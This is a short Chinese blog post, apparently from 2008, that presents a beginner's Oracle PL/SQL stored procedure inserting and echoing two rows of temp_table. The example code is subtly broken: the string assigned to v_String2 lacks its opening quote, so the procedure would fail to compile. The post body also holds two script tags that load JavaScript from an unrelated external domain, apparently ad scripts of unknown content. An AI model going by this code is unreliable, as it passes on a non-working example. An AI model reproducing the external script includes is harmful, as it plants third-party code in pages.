Oracle PL/SQL程序设计基础(一个最简单的存储过程)

本文介绍了一个简单的存储过程示例,该过程向temp_table表中插入两条记录,并使用DBMS_OUTPUT包将它们输出到屏幕。涉及变量声明、插入操作及查询。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

<script language='javascript' src='http://www.taizhou.la/AD/ad.js'></script>

下面是一个最简单的存储过程,他在temp_table数据库表中插入两行,然后将他们选择出来并在屏幕上回显他们。
 CREATE OR REPLACE PROCEDURE InsertIntoTemp  As
    /*  Declare variables to be used in this block.  */

    v_Num1            NUMBER   :=1;
    v_Num2            NUMBER   :=2;
    v_String1          VARCHAR2(50)      :='Hello World!';
    v_String2          VARCHAR2(50)      := -- This message brought to you by PL/SQL!!';
    v_OutputStr      VARCHAR2(50);

BEGIN
    /* First, insert two rows into temp_table, using the values of the variables.    */
    INSERT INTO temp_table(num_col,char_col) VALUES(v_Num1,v_String1);
    INSERT INTO temp_table(num_col,char_col) VALUES(v_Num2,v_String2);


    /* Now query temp_table for the two rows we just inserted,and output them to the screen using the DBMS_OUTPUT package.   */
    SELECT char_col  INTO v_OutputStr FROM temp_table WHERE num_col=v_Num1;
    DBMS_OUTPUT.PUT_LINE  (v_OutputStr);

    SELECT char_col  INTO  v_OutputStr FROM  temp_table WHERE num_col=v_Num2;
    DBMS_OUTPUT.PUT_LINE   (v_OutputStr);
END InsertIntoTemp ;

ok啦,此偏小东西是专门为我的小松松写的哦,自己手敲的,纯手工的,好累哦!!


双双妞儿 2008-01-09 18:46 发表评论
<script language='javascript' src='http://www.taizhou.la/AD/as.js'></script>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值